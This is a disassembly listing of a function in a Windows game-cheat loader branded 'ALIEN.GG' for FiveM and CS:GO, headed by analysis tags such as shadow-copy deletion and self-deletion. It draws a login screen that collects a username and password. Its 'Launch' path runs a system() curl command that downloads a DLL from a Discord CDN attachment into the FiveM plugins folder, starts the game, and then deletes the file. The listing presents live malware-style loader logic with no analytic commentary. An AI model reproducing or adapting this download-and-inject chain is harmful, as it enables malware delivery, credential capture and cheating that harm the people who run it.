Function at 0x14003823c
Capabilities:
Create process on windows
Delete volume shadow copies
Execute command
Self delete
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4a8]
sub rsp, 0x580
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm14
mov rax, qword [0x140123080]
xor rax, rsp
mov qword [rbp + 0x400], rax
call fcn.140037c34
call fcn.140037db0
mov r14d, 0x50
lea rax, [0x14003a4c0]
xor r12d, r12d
mov dword [rbp + 0x380], r14d
xor ecx, ecx
mov qword [rbp + 0x388], rax
mov qword [rbp + 0x390], r12
lea esi, [r14 - 0x10]
mov dword [rbp + 0x384], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x3c8], r12
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3a0], xmm0
lea rbx, [0x140116098]
movdqa xmmword [rbp + 0x3b0], xmm1
lea rcx, [rbp + 0x380]
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x3c0], rbx
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rax, qword [rbp + 0x398]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x3c0]
mov r8, rbx
mov qword [rsp + 0x58], r12
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea eax, [rsi - 0x3b]
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [rsi - 0x20]
mov qword [0x1401240e8], rax
mov rdi, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x1401240f0], rax
mov rbx, rax
lea r13d, [r14 - 0x4f]
test rax, rax
je 0x14003a420
lea r15, [0x140124090]
mov r8d, esi
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [0x1401240b8], r13d
lea rcx, [0x140124088]
mov qword [rsp + 0x30], rcx
mov r9, rdi
mov dword [0x1401240a8], r13d
mov rcx, rbx
mov dword [0x140124098], r12d
mov r8d, r13d
mov dword [0x1401240bc], r13d
xor edx, edx
mov dword [0x1401240c0], r14d
mov dword [0x1401240cc], r13d
mov rax, qword [rbx]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], esi
call qword [rax + 0x80]
test eax, eax
js 0x14003a419
mov rcx, qword [0x1401240e8]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401240e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x140124080]
test rax, rax
je 0x14003842a
add dword [rax + 0x3b0], r13d
mov rdx, qword [0x140124070]
mov ecx, 0x3e48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14003844f
xor edx, edx
mov rcx, rax
call fcn.140001828
mov rcx, rax
jmp 0x140038452
mov rcx, r12
mov rax, qword [0x140124080]
test rax, rax
cmove rax, rcx
mov qword [0x140124080], rax
call fcn.140007120
mov rdi, qword [0x140124080]
lea rcx, [rbp + 0x2f0]
mov r15d, 0x400
or dword [rdi + 8], r15d
call fcn.14002560c
mov r14d, 3
mov qword [rdi + 0x20], r12
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x308], r14d
mov dword [rbp + 0x30c], r14d
mov qword [rdi + 0x28], r12
mov byte [rbp + 0x338], r13b
mov byte [rbp + 0x310], r13b
call fcn.14002560c
movss xmm3, dword [0x140116760]
lea rax, [rbp + 0x260]
mov rcx, qword [rdi + 0xa8]
lea rbx, [0x1400f35c0]
mov esi, 0x225bc
mov qword [rsp + 0x28], r12
mov r8d, esi
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov byte [rbp + 0x26c], r12b
call fcn.140025d58
movss xmm3, dword [0x140116768]
lea rax, [rbp + 0x260]
mov rcx, qword [rdi + 0xa8]
mov r8d, esi
mov qword [rsp + 0x28], r12
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.140025d58
movss xmm3, dword [0x140116770]
mov r8d, esi
mov rcx, qword [rdi + 0xa8]
mov rdx, rbx
mov qword [0x140124100], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.140025d58
movss xmm3, dword [0x140116794]
lea rax, [rbp + 0x260]
mov rcx, qword [rdi + 0xa8]
lea rdx, [0x1400b2960]
mov qword [rsp + 0x28], r12
mov r8d, esi
mov qword [rsp + 0x20], rax
call fcn.140025d58
movss xmm3, dword [0x140116784]
lea rdx, [0x1400b2960]
mov rcx, qword [rdi + 0xa8]
mov r8d, esi
mov qword [0x1401240f8], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.140025d58
movss xmm3, dword [0x140116778]
lea rax, [0x14011666c]
mov rcx, qword [rdi + 0xa8]
lea rdx, [0x1400d4f20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
call fcn.140025e74
mov rcx, qword [rdi + 0xa8]
mov qword [0x140124120], rax
call fcn.140025b20
call fcn.140037c34
call fcn.140037db0
mov rax, qword [0x140124080]
test dword [rdi + 8], r15d
je 0x14003862d
mov dword [rax + 0x164c], r12d
mov dword [rax + 0x1728], 0x3f800000
call fcn.14002ab0c
mov rcx, qword [0x140124088]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x140124080]
mov qword [0x140124478], rcx
or dword [rbx + 0xc], 0x1008
mov qword [rbx + 0xe8], rax
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], r15d
je 0x1400386b5
mov rax, qword [0x140124080]
lea rcx, [fcn.14002a820]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.14002a900]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x14002a950]
mov qword [rax + 0x1600], rcx
lea rcx, [0x14002a9a0]
mov qword [rax + 0x1608], rcx
lea rcx, [0x14002aae0]
mov qword [rax + 0x1610], rcx
call fcn.140037c34
call fcn.140037db0
lea rcx, [0x140124190]
call fcn.140046590
call fcn.140037db0
call fcn.140037c34
movss xmm10, dword [0x140116704]
lea rsi, [0x1401240d0]
movss xmm11, dword [0x140116718]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov ebx, 2
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm14, xmm14
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x3d0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003874c
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14003a330
call fcn.140037c34
call fcn.140037db0
call fcn.140037c34
cmp qword [0x140124468], r12
jne 0x140038769
call fcn.14002a6e0
call fcn.14002b210
call fcn.140006328
cmp dword [reloc.WS2_32.dll_accept], r13d
mov rax, qword [0x140124080]
movaps xmm0, xmmword [0x1401169f0]
movaps xmm1, xmmword [0x140116a10]
mov dword [rax + 0x1658], 0x44020000
mov dword [rax + 0x16ac], r12d
mov dword [rax + 0x16b4], r12d
mov dword [rax + 0x1670], r12d
jne 0x140038c55
mov dword [rax + 0x1654], 0x44070000
mov ecx, 0x40a00000
mov dword [rax + 0x1650], ecx
mov r8d, r14d
mov dword [rax + 0x1680], ecx
xor edx, edx
mov dword [rax + 0x1668], r12d
lea rcx, str.Loader
mov dword [rax + 0x164c], r12d
movdqu xmmword [rax + 0x171c], xmm0
movaps xmm0, xmmword [0x140116a20]
movdqu xmmword [rax + 0x176c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140116a60]
movdqu xmmword [rax + 0x178c], xmm0
movdqu xmmword [rax + 0x177c], xmm0
movaps xmm0, xmmword [0x140116a40]
movdqu xmmword [rax + 0x186c], xmm1
xorps xmm1, xmm1
movdqu xmmword [rax + 0x184c], xmm0
movaps xmm0, xmmword [0x140116a80]
movdqu xmmword [rax + 0x174c], xmm1
movaps xmm1, xmmword [0x140116a50]
movdqu xmmword [rax + 0x185c], xmm0
movdqu xmmword [rax + 0x18ac], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140116990]
movdqu xmmword [rax + 0x18dc], xmm1
movdqu xmmword [rax + 0x18fc], xmm1
movdqu xmmword [rax + 0x18ec], xmm1
movaps xmm1, xmmword [0x140116a30]
movdqu xmmword [rax + 0x172c], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140116a20]
movdqu xmmword [rax + 0x17dc], xmm1
movdqu xmmword [rax + 0x17ec], xmm1
movdqu xmmword [rax + 0x180c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140116b50]
movdqu xmmword [rax + 0x181c], xmm1
movdqu xmmword [rax + 0x187c], xmm0
movdqu xmmword [rax + 0x189c], xmm0
movdqu xmmword [rax + 0x188c], xmm0
call fcn.14000bba4
movaps xmm0, xmmword [0x1401169e0]
lea rcx, [rsp + 0x60]
mov r8, qword [0x140124080]
movups xmmword [rsp + 0x60], xmm0
mov rax, qword [r8 + 0x1b90]
movss xmm3, dword [rax + 0x48]
movss xmm4, dword [rax + 0x4c]
movaps xmm1, xmm3
movaps xmm2, xmm4
movss dword [rbp - 0x78], xmm3
addss xmm2, dword [0x1401167c0]
addss xmm4, dword [0x1401167a8]
movaps xmm0, xmm3
mov byte [rax + 0xc1], r13b
addss xmm0, dword [0x1401167b4]
addss xmm1, xmm14
movss dword [rbp + 0x1fc], xmm2
movss dword [rbp - 0x7c], xmm2
movss dword [rbp - 0x74], xmm4
movss dword [rbp - 0x80], xmm0
movss dword [rbp + 0x1f8], xmm1
call fcn.140002fb4
mov rcx, qword [r8 + 0x1b90]
lea r9, [rbp + 0x1f8]
lea r8, [rbp - 0x80]
mov dword [rsp + 0x20], eax
lea rdx, [rbp - 0x78]
mov rcx, qword [rcx + 0x318]
call fcn.140024c84
lea rcx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x42f00000
mov dword [rbp - 0x6c], 0x41f00000
call fcn.14000eb64
or edx, 0xffffffff
xor ecx, ecx
call fcn.1400032cc
mov rcx, qword [0x1401240f8]
call fcn.14000e3f0
movaps xmm0, xmmword [0x1401169d0]
lea rdx, str.ALIEN
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
call fcn.14002ca24
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x68], 0x439b0000
mov dword [rbp - 0x64], 0x41f00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b50]
lea rdx, [0x1401160b8]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
call fcn.14002ca24
call fcn.14000e488
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x42c80000
mov dword [rbp - 0x5c], 0x435c0000
call fcn.14000eb64
mov edx, 0xfff0f0f0
xor ecx, ecx
call fcn.1400032cc
mov rcx, qword [0x140124100]
call fcn.14000e3f0
lea rcx, str.Username:
call fcn.14002c990
mov ecx, r13d
call fcn.1400033f0
call fcn.14000e488
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x58], 0x42c80000
mov dword [rbp - 0x54], 0x43960000
call fcn.14000eb64
mov edx, 0xfff0f0f0
xor ecx, ecx
call fcn.1400032cc
mov rcx, qword [0x140124100]
call fcn.14000e3f0
lea rcx, str.Password:
call fcn.14002c990
mov ecx, r13d
call fcn.1400033f0
call fcn.14000e488
mov rcx, qword [0x140124100]
call fcn.14000e3f0
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x42c80000
mov dword [rbp - 0x4c], 0x43700000
call fcn.14000eb64
mov edx, 0xfff0f0f0
xor ecx, ecx
call fcn.1400032cc
movss xmm0, dword [0x1401167b0]
lea rdx, [0x140124108]
movss xmm6, dword [0x140116788]
lea rcx, str.RenderUsername
unpcklps xmm0, xmm6
movq r9, xmm0
mov dword [rsp + 0x20], r12d
call fcn.14002f404
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x48], 0x42c80000
mov dword [rbp - 0x44], 0x43a00000
call fcn.14000eb64
movss xmm0, dword [0x1401167b0]
lea rcx, str.RenderPassword
unpcklps xmm0, xmm6
mov rdx, rsi
movq r9, xmm0
mov dword [rsp + 0x20], 0x8000
call fcn.14002f404
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x43be0000
call fcn.14000eb64
or edx, 0xffffffff
xor ecx, ecx
call fcn.1400032cc
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x43af0000
lea rcx, str.Login
mov dword [rbp - 0x34], 0x42280000
call fcn.14002d028
test al, al
je 0x140038c23
mov qword [rsp + 0x60], r12
or r8, 0xffffffffffffffff
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rsi + r8], r12b
jne 0x140038b97
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.14003a6f4
or r8, 0xffffffffffffffff
mov qword [rbp + 0x200], r12
lea rax, [0x140124108]
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rax + r8], r12b
jne 0x140038bd1
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.14003a6f4
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x200]
lea rcx, [0x140124190]
call fcn.140048170
movzx eax, byte [0x140124079]
cmp byte [0x1401243a8], r12b
cmovne eax, r13d
mov byte [0x140124079], al
call fcn.140037db0
call fcn.140037c34
mov ecx, r13d
call fcn.1400033f0
call fcn.14000e488
mov ecx, r13d
call fcn.1400033f0
call fcn.14000df30
cmp byte [0x140124079], r12b
je 0x14003a179
mov dword [reloc.WS2_32.dll_accept], ebx
jmp 0x14003a179
mov dword [rax + 0x1654], 0x44110000
lea rcx, str.Loader
mov qword [rax + 0x1668], r12
mov r8d, r14d
mov qword [rax + 0x1680], r12
xor edx, edx
mov qword [rax + 0x164c], 0x41a00000
movdqu xmmword [rax + 0x171c], xmm0
movaps xmm0, xmmword [0x140116a20]
movdqu xmmword [rax + 0x176c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140116a60]
movdqu xmmword [rax + 0x178c], xmm0
movdqu xmmword [rax + 0x177c], xmm0
movaps xmm0, xmmword [0x140116a40]
movdqu xmmword [rax + 0x186c], xmm1
xorps xmm1, xmm1
movdqu xmmword [rax + 0x184c], xmm0
movaps xmm0, xmmword [0x140116a80]
movdqu xmmword [rax + 0x174c], xmm1
movaps xmm1, xmmword [0x140116a50]
movdqu xmmword [rax + 0x185c], xmm0
movdqu xmmword [rax + 0x18ac], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140116990]
movdqu xmmword [rax + 0x18dc], xmm1
movdqu xmmword [rax + 0x18fc], xmm1
movdqu xmmword [rax + 0x18ec], xmm1
movaps xmm1, xmmword [0x140116a30]
movdqu xmmword [rax + 0x172c], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140116a20]
movdqu xmmword [rax + 0x17dc], xmm1
movdqu xmmword [rax + 0x17ec], xmm1
movdqu xmmword [rax + 0x180c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140116b50]
movdqu xmmword [rax + 0x181c], xmm1
movdqu xmmword [rax + 0x187c], xmm0
movdqu xmmword [rax + 0x189c], xmm0
movdqu xmmword [rax + 0x188c], xmm0
call fcn.14000bba4
mov rax, qword [0x140124080]
mov edx, 0xff050505
mov rcx, qword [rax + 0x1b90]
movss xmm6, dword [rcx + 0x48]
movss xmm9, dword [rcx + 0x4c]
mov ecx, r14d
call fcn.1400032cc
mov edx, 0xff090909
mov ecx, ebx
call fcn.1400032cc
mov ecx, ebx
call fcn.1400033f0
movaps xmm0, xmmword [0x1401169e0]
lea rcx, [rsp + 0x60]
mov r10, qword [0x140124080]
movaps xmm8, xmm6
addss xmm8, dword [0x140116790]
movaps xmm7, xmm9
movss dword [rbp - 0x28], xmm6
addss xmm7, dword [0x1401167c0]
mov rax, qword [r10 + 0x1b90]
movss dword [rbp - 0x24], xmm9
movss dword [rbp - 0x30], xmm8
movups xmmword [rsp + 0x60], xmm0
mov byte [rax + 0xc1], r13b
movss dword [rbp - 0x2c], xmm7
call fcn.140002fb4
mov rcx, qword [r10 + 0x1b90]
lea r8, [rbp - 0x30]
mov r9d, eax
mov dword [rsp + 0x28], reloc.WS2_32.dll_ntohs
lea rdx, [rbp - 0x28]
movss dword [rsp + 0x20], xmm14
mov rcx, qword [rcx + 0x318]
call fcn.140024be8
mov r8, qword [0x140124080]
movaps xmm0, xmmword [0x140116850]
mov rax, qword [r8 + 0x1b90]
mov byte [rax + 0xc1], r13b
lea rcx, [rsp + 0x60]
movss dword [rbp - 0x20], xmm8
movss dword [rbp - 0x1c], xmm7
movss dword [rbp - 0x18], xmm8
movss dword [rbp - 0x14], xmm9
movups xmmword [rsp + 0x60], xmm0
call fcn.140002fb4
mov rcx, qword [r8 + 0x1b90]
lea rdx, [rbp - 0x18]
mov r9d, eax
movss dword [rsp + 0x20], xmm10
lea r8, [rbp - 0x20]
mov rcx, qword [rcx + 0x318]
call fcn.1400249ac
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x41a80000
mov dword [rbp - 0xc], 0x42200000
call fcn.14000eb64
mov rcx, qword [0x140124120]
call fcn.14000e3f0
lea rdx, [rbp - 8]
mov dword [rbp - 8], 0x41f00000
lea rcx, [0x140116114]
mov dword [rbp - 4], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
cmovne ecx, r13d
mov dword [reloc.WS2_32.dll_accept], ecx
call fcn.14000e488
lea rcx, [rbp]
mov dword [rbp], 0x41a80000
mov dword [rbp + 4], 0x42a00000
call fcn.14000eb64
mov rcx, qword [0x140124120]
call fcn.14000e3f0
lea rdx, [rbp + 8]
mov dword [rbp + 8], 0x41f00000
lea rcx, [0x140116118]
mov dword [rbp + 0xc], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
cmovne ecx, ebx
mov dword [reloc.WS2_32.dll_accept], ecx
call fcn.14000e488
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x41a80000
mov dword [rbp + 0x14], 0x42f00000
call fcn.14000eb64
mov rcx, qword [0x140124120]
call fcn.14000e3f0
lea rdx, [rbp + 0x18]
mov dword [rbp + 0x18], 0x41f00000
lea rcx, [0x14011611c]
mov dword [rbp + 0x1c], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
cmovne ecx, r14d
mov dword [reloc.WS2_32.dll_accept], ecx
call fcn.14000e488
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x20], 0x41a80000
mov dword [rbp + 0x24], 0x43200000
call fcn.14000eb64
mov rcx, qword [0x140124120]
call fcn.14000e3f0
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x28], 0x41f00000
lea rcx, [0x140116120]
mov dword [rbp + 0x2c], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov esi, 6
cmovne ecx, esi
mov dword [reloc.WS2_32.dll_accept], ecx
call fcn.14000e488
mov dword [rbp + 0x30], 0x41a80000
mov dword [rbp + 0x34], 0x43f00000
lea rcx, [rbp + 0x30]
call fcn.14000eb64
mov rcx, qword [0x140124120]
call fcn.14000e3f0
lea rdx, [rbp + 0x38]
mov dword [rbp + 0x38], 0x41f00000
lea rcx, [0x140116124]
mov dword [rbp + 0x3c], 0x41f00000
call fcn.14002d5f0
test al, al
jne 0x14003a40f
call fcn.14000e488
lea eax, [rsi - 2]
cmp dword [reloc.WS2_32.dll_accept], eax
jne 0x140039258
lea rcx, [rbp + 0x40]
mov dword [rbp + 0x40], 0x42c80000
mov dword [rbp + 0x44], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.FiveM___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x48]
mov dword [rbp + 0x48], 0x42c80000
mov dword [rbp + 0x4c], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b60]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Subscriptions
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x50]
mov dword [rbp + 0x50], 0x42c80000
mov dword [rbp + 0x54], 0x42dc0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Product:_FiveM_Cheat
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x58]
mov dword [rbp + 0x58], 0x42a00000
mov dword [rbp + 0x5c], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x42480000
lea rcx, str.GO_BACK
mov dword [rbp + 0x64], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov dword [rbp + 0x68], 0x43c30000
cmovne ecx, ebx
mov dword [rbp + 0x6c], 0x43f40000
mov dword [reloc.WS2_32.dll_accept], ecx
lea rcx, [rbp + 0x68]
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b90]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Undetected
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x70]
mov dword [rbp + 0x70], 0x43eb0000
mov dword [rbp + 0x74], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0x78]
mov dword [rbp + 0x78], 0x42a00000
lea rcx, str.Launch
mov dword [rbp + 0x7c], 0x41f00000
call fcn.14002d028
test al, al
je 0x140039258
lea rcx, str.curl___silent__o___LOCALAPPDATA_FiveMFiveM.apppluginsd3d10.dll___https:__cdn.discordapp.com_attachments_1155894100231458957_1155901326291636357_d3d10.dll_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._localappdata_FiveMFiveM.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__LOCALAPPDATA_FiveMFiveM.apppluginsd3d10.dll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp dword [reloc.WS2_32.dll_accept], esi
jne 0x1400393cc
lea rcx, [rbp + 0x80]
mov dword [rbp + 0x80], 0x42c80000
mov dword [rbp + 0x84], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.Settings
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x88]
mov dword [rbp + 0x88], 0x42c80000
mov dword [rbp + 0x8c], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movss xmm0, dword [0x140116708]
call fcn.14000e6c4
movaps xmm0, xmmword [0x1401242d0]
lea rdx, [rbp + 0x220]
movaps xmm1, xmmword [0x1401242e0]
lea rcx, str.UserName:__s
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x230], xmm1
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0x90]
mov dword [rbp + 0x90], 0x42c80000
mov dword [rbp + 0x94], 0x42dc0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movss xmm0, dword [0x140116708]
call fcn.14000e6c4
movaps xmm0, xmmword [0x1401242f0]
lea rdx, [rbp + 0x240]
movaps xmm1, xmmword [0x140124300]
lea rcx, str.IP_Address:__s
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x250], xmm1
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
mov esi, 5
cmp dword [reloc.WS2_32.dll_accept], esi
jne 0x1400395f4
lea rcx, [rbp + 0x98]
mov dword [rbp + 0x98], 0x42c80000
mov dword [rbp + 0x9c], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.CS:GO___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xa0]
mov dword [rbp + 0xa0], 0x42c80000
mov dword [rbp + 0xa4], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b60]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Subscriptions
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xa8]
mov dword [rbp + 0xa8], 0x42c80000
mov dword [rbp + 0xac], 0x42dc0000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Product:_CS:GO_Cheat
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xb0]
mov dword [rbp + 0xb0], 0x42a00000
mov dword [rbp + 0xb4], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0xb8]
mov dword [rbp + 0xb8], 0x42480000
lea rcx, str.GO_BACK
mov dword [rbp + 0xbc], 0x41f00000
call fcn.14002d5f0
mov ecx, dword [reloc.WS2_32.dll_accept]
test al, al
mov dword [rbp + 0xc0], 0x43c30000
cmovne ecx, ebx
mov dword [rbp + 0xc4], 0x43f40000
mov dword [reloc.WS2_32.dll_accept], ecx
lea rcx, [rbp + 0xc0]
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b80]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.TESTING
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xc8]
mov dword [rbp + 0xc8], 0x43eb0000
mov dword [rbp + 0xcc], 0x43f00000
call fcn.14000eb64
lea rdx, [rbp + 0xd0]
mov dword [rbp + 0xd0], 0x42a00000
lea rcx, str.Launch
mov dword [rbp + 0xd4], 0x41f00000
call fcn.14002d028
mov eax, 7
cmp dword [reloc.WS2_32.dll_accept], eax
jne 0x14003986e
lea rcx, [rbp + 0xd8]
mov dword [rbp + 0xd8], 0x42c80000
mov dword [rbp + 0xdc], 0x41a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116ba0]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm11
call fcn.14000e6c4
lea rcx, str.FiveM_Bypass___ALIEN.GG
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
call fcn.1400033f0
lea rcx, [rbp + 0xe0]
mov dword [rbp + 0xe0], 0x42c80000
mov dword [rbp + 0xe4], 0x42a00000
call fcn.14000eb64
movaps xmm0, xmmword [0x140116b60]
lea rdx, [rsp + 0x60]
xor ecx, ecx
movups xmmword [rsp + 0x60], xmm0
call fcn.140003394
movaps xmm0, xmm10
call fcn.14000e6c4
lea rcx, str.Subscriptions
call fcn.14002c990
movaps xmm0, xmm10
call fcn.14000e6c4
mov ecx, r13d
